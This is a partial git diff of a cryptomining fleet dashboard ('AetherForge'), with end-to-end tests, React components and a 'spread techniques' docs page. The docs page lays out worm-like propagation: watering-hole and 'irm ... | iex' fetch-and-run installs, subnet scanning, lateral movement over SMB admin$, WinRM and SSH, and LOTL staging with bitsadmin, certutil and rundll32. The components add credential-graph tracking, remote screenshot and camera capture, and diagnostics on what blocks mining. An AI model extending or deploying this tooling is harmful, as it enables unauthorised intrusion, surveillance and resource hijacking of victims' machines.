fetchFleetSecret(request); + disconnectStub = await connectStubAgent(baseURL, fleetSecret); + // Allow agent_online + DB upsert to settle before UI tests. + await new Promise((r) => setTimeout(r, 500)); + }); + + test.afterAll(() => { + disconnectStub?.(); + disconnectStub = null; + }); + + test.beforeEach(async ({ page }) => { + test.skip( + !serverReady, + 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', + ); + await loginToDashboard(page); + await page.getByRole('link', { name: /Crucible/i }).click(); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); + await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 }); + }); + + test('whoami on selected online node shows terminal output', async ({ page }) => { + await page.getByText(E2E_STUB_AGENT_HOSTNAME).click(); + await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible(); + + await page.getByRole('button', { name: 'whoami' }).click(); + + const terminal = page.locator('.crucible-terminal'); + await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 }); + await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 }); + }); + + test('exec echo via master terminal shows output', async ({ page }) => { + await page.getByText(E2E_STUB_AGENT_HOSTNAME).click(); + await page.getByRole('button', { name: 'CMD', exact: true }).click(); + + const input = page.locator('.crucible-term-input'); + await expect(input).toBeEnabled(); + await input.fill('echo crucible-e2e-ping'); + await page.getByRole('button', { name: 'SEND' }).click(); + + const terminal = page.locator('.crucible-terminal'); + await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 }); + await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 }); + }); +}); diff --git a/server/web/e2e/fixtures.ts b/server/web/e2e/fixtures.ts index 6dcd68a..6b12f88 100644 --- a/server/web/e2e/fixtures.ts +++ b/server/web/e2e/fixtures.ts @@ -1,4 +1,4 @@ -import { expect, type Page } from '@playwright/test'; +import { expect, type APIRequestContext, type Page } from '@playwright/test'; /** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */ export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser'; @@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass'; /** Seed this into the server data dir as users.json before first start (see tests/README.md). */ export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS }); +export function e2eAuthHeaders(): Record { + const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64'); + return { + Authorization: `Basic ${token}`, + 'X-AetherForge-Client': 'dashboard', + }; +} + +/** Reads fleet_secret from live server config (generated on first server start). */ +export async function fetchFleetSecret(request: APIRequestContext): Promise { + const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() }); + if (!res.ok()) { + throw new Error(`config fetch failed: ${res.status()}`); + } + const body = (await res.json()) as { server?: { fleet_secret?: string } }; + return body.server?.fleet_secret ?? ''; +} + export async function loginToDashboard(page: Page): Promise { await page.goto('/'); await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 }); diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts index 3b8c2c3..d05e8d3 100644 --- a/server/web/e2e/pages.spec.ts +++ b/server/web/e2e/pages.spec.ts @@ -12,10 +12,15 @@ test.describe('Page smoke', () => { await expect(page.getByText('Machine Roster')).toBeVisible(); }); - test('Agents renders Fleet Roster', async ({ page }) => { - await page.getByRole('link', { name: /Fleet Roster/i }).click(); - await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 }); - await expect(page.getByText(/NODES/i)).toBeVisible(); + test('Crucible renders node roster', async ({ page }) => { + await page.getByRole('link', { name: /Crucible/i }).click(); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); + await expect(page.getByText(/NODE ROSTER/i)).toBeVisible(); + }); + + test('/agents redirects to Crucible', async ({ page }) => { + await page.goto('/agents'); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); }); test('Settings renders Calibrate', async ({ page }) => { diff --git a/server/web/e2e/remote-actions.spec.ts b/server/web/e2e/remote-actions.spec.ts index ffeb8be..b97e429 100644 --- a/server/web/e2e/remote-actions.spec.ts +++ b/server/web/e2e/remote-actions.spec.ts @@ -27,7 +27,6 @@ const OFFLINE_AGENT = { test.describe('Remote actions UI', () => { test.beforeEach(async ({ page }) => { - // AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS). await page.addInitScript((agent) => { const RealWS = WebSocket; const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket }; @@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => { } await route.fulfill({ json: [OFFLINE_AGENT] }); }); - await page.route('**/api/v1/agents/*/stats*', async (route) => { - await route.fulfill({ json: [] }); - }); await page.route('**/api/v1/builds', async (route) => { await route.fulfill({ json: [] }); }); @@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => { }); }); await loginToDashboard(page); - await page.getByRole('link', { name: /Fleet Roster/i }).click(); - await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 }); + await page.getByRole('link', { name: /Crucible/i }).click(); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 }); }); - test('detail panel disables remote actions for offline agent', async ({ page }) => { + test('mining ops disabled when only offline agent selected', async ({ page }) => { await page.getByText('Offline Node').click(); - const detail = page.locator('.agent-detail'); - await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 }); - await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled(); - await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled(); + const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true }); + await expect(pauseBtn).toBeDisabled(); + await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled(); }); - test('compact row remote actions disabled when offline', async ({ page }) => { + test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => { await page.getByText('Offline Node').click(); - const compact = page.locator('.agent-list-item.expanded'); - await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled(); + await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled(); }); }); diff --git a/server/web/e2e/stub-agent.ts b/server/web/e2e/stub-agent.ts new file mode 100644 index 0000000..49f9ae1 --- /dev/null +++ b/server/web/e2e/stub-agent.ts @@ -0,0 +1,108 @@ +/** + * Minimal WebSocket agent for Playwright E2E against a live miner-server. + * Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow. + */ + +export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent'; +export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host'; +export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok'; + +type HubMessage = { + type: string; + payload: string | Record; +}; + +function parsePayload(payload: HubMessage['payload']): Record { + if (typeof payload === 'string') { + return JSON.parse(payload) as Record; + } + return payload; +} + +function wsAgentUrl(baseUrl: string): string { + const trimmed = baseUrl.replace(/\/$/, ''); + return trimmed.replace(/^http/i, 'ws') + '/ws/agent'; +} + +function send(ws: WebSocket, type: string, payload: Record): void { + ws.send(JSON.stringify({ type, payload })); +} + +function replyCommand(ws: WebSocket, action: string, command: string): void { + let message = 'e2e-stub-ok'; + if (action === 'resume') { + message = 'mining resumed'; + } else if (command.trim().toLowerCase() === 'whoami') { + message = E2E_WHOAMI_RESPONSE; + } else if (command.trim().toLowerCase().startsWith('echo ')) { + message = command.trim().slice(5); + } + send(ws, 'command_result', { action, success: true, message }); +} + +/** + * Connect a stub agent that answers exec/powershell commands on the live server. + * Returns a cleanup function that closes the socket. + */ +export async function connectStubAgent( + baseUrl: string, + fleetSecret = '', +): Promise<() => void> { + const ws = new WebSocket(wsAgentUrl(baseUrl)); + + await new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000); + ws.addEventListener('open', () => { + clearTimeout(timer); + resolve(); + }, { once: true }); + ws.addEventListener('error', () => { + clearTimeout(timer); + reject(new Error('stub agent ws connection failed')); + }, { once: true }); + }); + + send(ws, 'auth', { + agent_id: E2E_STUB_AGENT_ID, + fleet_secret: fleetSecret, + hostname: E2E_STUB_AGENT_HOSTNAME, + version: '1.0.0-e2e', + platform: 'windows', + arch: 'amd64', + cpu_cores: 4, + memory_gb: 8, + }); + + await new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000); + ws.addEventListener('message', (ev) => { + const msg = JSON.parse(String(ev.data)) as HubMessage; + if (msg.type !== 'auth_response') return; + clearTimeout(timer); + const body = parsePayload(msg.payload); + if (body.success !== true) { + reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`)); + return; + } + resolve(); + }, { once: true }); + }); + + ws.addEventListener('message', (ev) => { + let msg: HubMessage; + try { + msg = JSON.parse(String(ev.data)) as HubMessage; + } catch { + return; + } + if (msg.type !== 'command') return; + const payload = parsePayload(msg.payload); + const action = String(payload.action ?? ''); + const command = String(payload.command ?? ''); + replyCommand(ws, action, command); + }); + + return () => { + ws.close(); + }; +} diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index ceebfc1..1c94630 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -26,9 +26,13 @@
  • Fusion media
  • USB
  • LAN kindling
  • +
  • WinRM bootstrap
  • +
  • Linux LOTL
  • +
  • GPO / Intune
  • WordPress plugin
  • npm postinstall
  • Social funnel
  • +
  • LOTL Onion
  • Third-party & gaps
  • @@ -54,9 +58,13 @@ + + + + @@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex
  • Deploy patient zero via waterhole or curl|bash with campaign tag.
  • Agent scans subnet (ARP-first /24 + /64) via deploy/subnet.go.
  • Windows: SMB admin$, WinRM; Linux/macOS: SSH lateral (gated).
  • +
  • UNC spread (LOTL): spread_smb_uncsc.exe \\host create/start with binPath= on a Forge output UNC (\\forge\pathforge$\worker.exe). Pure LOLBins: sc.exe, net.exe. Path Tracer: POST /api/v1/pathtrace/spread dispatches on the egress hop.
  • +
  • Staging chain (LOTL): stage_fetch — download chunks via curl.exe or bitsadmin, certutil -decode, verify SHA256 from server, launch via rundll32 or exe. Staging paths use the same traversal hygiene as upload/download.
  • Export spread kit → + + + + + + + + + + + +
    {agent.status} diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index abbd9ce..234c781 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush'; import { parseFullSysCheckMessage } from '../../types/syscheck'; import type { FullSysCheckReport } from '../../types/syscheck'; import FullSysCheckPanel from './FullSysCheckPanel'; +import LotlAttemptsList from './LotlAttemptsList'; +import LotlTierBadge from './LotlTierBadge'; import ProtocolTunnelPanel from './ProtocolTunnelPanel'; +import { parseTierReport, type TierAttempt } from '../../types/lotl'; import './AgentRemoteActions.css'; import './FullSysCheckPanel.css'; import './ProtocolTunnelPanel.css'; @@ -66,6 +69,12 @@ export default function AgentRemoteActions({ const [regValue, setRegValue] = useState(''); const [regType, setRegType] = useState('REG_SZ'); const [sysCheckReport, setSysCheckReport] = useState(null); + const [miningDiag, setMiningDiag] = useState<{ + lotl_tier?: string; + lotl_attempts: TierAttempt[]; + mining_hashrate?: number; + likely_blockers: string[]; + } | null>(null); const [tunnelStatusMsg, setTunnelStatusMsg] = useState(''); // Fleet upgrade const [builds, setBuilds] = useState([]); @@ -135,6 +144,17 @@ export default function AgentRemoteActions({ if (agent.gpu_miner_active && agent.gpu_hashrate_15s) { parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`); } + if (agent.lotl_tier) { + parts.push(`LOTL ${agent.lotl_tier}`); + } + if (agent.active_method) { + const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method; + parts.push(`Mining ${method}`); + } + if (agent.failed_methods && agent.failed_methods.length > 0) { + const last = agent.failed_methods[agent.failed_methods.length - 1]; + parts.push(`Fallback ${last.method} failed`); + } if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`); addLog(`◈ LIVE ${parts.join(' │ ')}`); }, [agent, showLiveStats, addLog]); @@ -164,6 +184,37 @@ export default function AgentRemoteActions({ addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`); setSysCheckReport(null); } + } else if (action === 'mining_diagnostics') { + if (success && message) { + const jsonStart = message.indexOf('{'); + if (jsonStart >= 0) { + try { + const parsed = JSON.parse(message.slice(jsonStart)) as Record; + const tierFields = parseTierReport(parsed); + const blockers = parsed.likely_blockers ?? parsed.blockers; + setMiningDiag({ + ...tierFields, + likely_blockers: Array.isArray(blockers) + ? blockers.filter((b): b is string => typeof b === 'string') + : [], + }); + const wins = tierFields.lotl_attempts.filter((a) => a.ok).length; + const fails = tierFields.lotl_attempts.length - wins; + addLog( + `✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`, + ); + } catch { + addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON'); + setMiningDiag(null); + } + } else { + addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`); + setMiningDiag(null); + } + } else { + addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`); + setMiningDiag(null); + } } else if (action === 'tunnel_status' && success && message) { setTunnelStatusMsg(message); } else if (action === 'screenshot' || action === 'camera_snapshot') { @@ -183,7 +234,7 @@ export default function AgentRemoteActions({ } else if (!liveViewRef.current || action !== 'screenshot') { addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`); } - } else if (action && action !== 'full_sys_check') { + } else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') { const icon = success ? '✓' : '✗'; const preview = message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? ''; @@ -234,6 +285,10 @@ export default function AgentRemoteActions({ setSysCheckReport(null); addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`); } + if (action === 'mining_diagnostics') { + setMiningDiag(null); + addLog(`◈ Running mining diagnostics on ${agentName}…`); + } // WOL is handled server-side (no agent connection needed) if (action === 'wol') { @@ -372,6 +427,9 @@ export default function AgentRemoteActions({ OFFLINE — commands disabled )} {busy && ⏳ {busy}…} + {!isFleet && agent?.lotl_tier && ( + + )}
    @@ -416,6 +474,15 @@ export default function AgentRemoteActions({
    +
    @@ -737,6 +804,41 @@ export default function AgentRemoteActions({ /> )} + {miningDiag && !compact && ( +
    +
    + + MINING DIAGNOSTICS + + {miningDiag.lotl_tier && ( + + )} + +
    + + {miningDiag.likely_blockers.length > 0 && ( +
      + {miningDiag.likely_blockers.map((b, i) => ( +
    • + {b} +
    • + ))} +
    + )} +
    + )} + {screenshotData && (
    diff --git a/server/web/src/components/Fleet/CreateGroupModal.tsx b/server/web/src/components/Fleet/CreateGroupModal.tsx index a3097a2..aba17ba 100644 --- a/server/web/src/components/Fleet/CreateGroupModal.tsx +++ b/server/web/src/components/Fleet/CreateGroupModal.tsx @@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate } >

    Create group

    - Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Fleet Roster and Crucible. + Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Crucible for bulk commands.

    diff --git a/server/web/src/components/Fleet/CredentialGraphTable.tsx b/server/web/src/components/Fleet/CredentialGraphTable.tsx new file mode 100644 index 0000000..bde467f --- /dev/null +++ b/server/web/src/components/Fleet/CredentialGraphTable.tsx @@ -0,0 +1,78 @@ +import { useEffect, useState } from 'react'; +import { api } from '../../api/client'; +import type { CredentialSubnetEdge } from '../../types/recon'; +import './ReconVisuals.css'; + +export default function CredentialGraphTable() { + const [rows, setRows] = useState(null); + const [loading, setLoading] = useState(true); + const [unavailable, setUnavailable] = useState(false); + + useEffect(() => { + let cancelled = false; + setLoading(true); + void api + .getCredentialGraph() + .then((data) => { + if (cancelled) return; + if (!data) { + setUnavailable(true); + setRows([]); + return; + } + setRows(data.subnets ?? []); + setUnavailable(false); + }) + .catch(() => { + if (!cancelled) { + setUnavailable(true); + setRows([]); + } + }) + .finally(() => { + if (!cancelled) setLoading(false); + }); + return () => { + cancelled = true; + }; + }, []); + + if (loading) { + return

    Loading credential graph…

    ; + } + + if (unavailable) { + return ( +

    + Credential graph API not available yet — edges appear after spread runs record cred affinity. +

    + ); + } + + if (!rows?.length) { + return

    No credential edges recorded.

    ; + } + + return ( + + + + + + + + + + + {rows.map((row) => ( + + + + + + + ))} + +
    SUBNETEDGESOKFAIL
    {row.subnet}{row.edges}{row.success_count ?? '—'}{row.fail_count ?? '—'}
    + ); +} diff --git a/server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx b/server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx new file mode 100644 index 0000000..5963678 --- /dev/null +++ b/server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx @@ -0,0 +1,63 @@ +/** + * @vitest-environment happy-dom + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen, waitFor } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import CrucibleAgentMeta from './CrucibleAgentMeta'; +import { api } from '../../api/client'; +import { mockAgent } from '../../test/fixtures'; + +vi.mock('../../api/client', () => ({ + api: { + updateAgentMeta: vi.fn(), + deleteAgent: vi.fn(), + sendAgentCommand: vi.fn(), + }, +})); + +const updateMetaMock = vi.mocked(api.updateAgentMeta); +const deleteAgentMock = vi.mocked(api.deleteAgent); + +describe('CrucibleAgentMeta', () => { + beforeEach(() => { + vi.clearAllMocks(); + updateMetaMock.mockResolvedValue({ + success: true, + agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }), + }); + deleteAgentMock.mockResolvedValue({ success: true }); + }); + + afterEach(() => { + cleanup(); + }); + + it('saves notes and tags via API', async () => { + const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] }); + render(); + const user = userEvent.setup(); + const notes = screen.getByPlaceholderText('Notes about this machine…'); + await user.clear(notes); + await user.type(notes, 'Living room PC'); + const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)'); + await user.clear(tags); + await user.type(tags, 'living-room, rack-b'); + await user.click(screen.getByRole('button', { name: 'Save notes & tags' })); + await waitFor(() => { + expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']); + }); + expect(await screen.findByText('Saved')).toBeInTheDocument(); + }); + + it('deletes agent from roster after confirm', async () => { + const agent = mockAgent({ id: 'del-1', name: 'Delete Me' }); + const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true); + render(); + await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' })); + await waitFor(() => { + expect(deleteAgentMock).toHaveBeenCalledWith('del-1'); + }); + confirmSpy.mockRestore(); + }); +}); diff --git a/server/web/src/components/Fleet/CrucibleAgentMeta.tsx b/server/web/src/components/Fleet/CrucibleAgentMeta.tsx new file mode 100644 index 0000000..1dc9a8a --- /dev/null +++ b/server/web/src/components/Fleet/CrucibleAgentMeta.tsx @@ -0,0 +1,132 @@ +import { useState, useEffect } from 'react'; +import { api } from '../../api/client'; +import type { Agent } from '../../types'; + +interface Props { + agent: Agent; + onUpdated?: (agent: Agent) => void; +} + +export default function CrucibleAgentMeta({ agent, onUpdated }: Props) { + const [notesDraft, setNotesDraft] = useState(agent.notes || ''); + const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', ')); + const [saving, setSaving] = useState(false); + const [msg, setMsg] = useState(''); + + useEffect(() => { + setNotesDraft(agent.notes || ''); + setTagsDraft((agent.tags || []).join(', ')); + setMsg(''); + }, [agent.id, agent.notes, agent.tags]); + + const save = async () => { + setSaving(true); + setMsg(''); + const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean); + try { + const res = await api.updateAgentMeta(agent.id, notesDraft, tags); + onUpdated?.(res.agent); + setMsg('Saved'); + setTimeout(() => setMsg(''), 2000); + } catch (err) { + setMsg(err instanceof Error ? err.message : 'Save failed'); + } finally { + setSaving(false); + } + }; + + const deleteFromRoster = async () => { + if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return; + try { + await api.deleteAgent(agent.id); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + + const uninstallAndDelete = async () => { + const label = agent.status === 'online' + ? `Uninstall the miner from "${agent.name}" and remove it from the roster?` + : `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`; + if (!window.confirm(label)) return; + if (agent.status === 'online') { + try { + await api.sendAgentCommand(agent.id, 'uninstall', {}); + } catch { + // Non-fatal — proceed to delete the record regardless + } + } + try { + await api.deleteAgent(agent.id); + } catch (err) { + alert(err instanceof Error ? err.message : 'Delete failed'); + } + }; + + return ( +
    +
    + NOTES & TAGS +
    +

    + Labels like "Living room PC" or "Rack B" — stored on the server, shown on node cards. +

    + {(agent.tags?.length ?? 0) > 0 && ( +
    + {agent.tags!.map((t) => ( + {t} + ))} +
    + )} +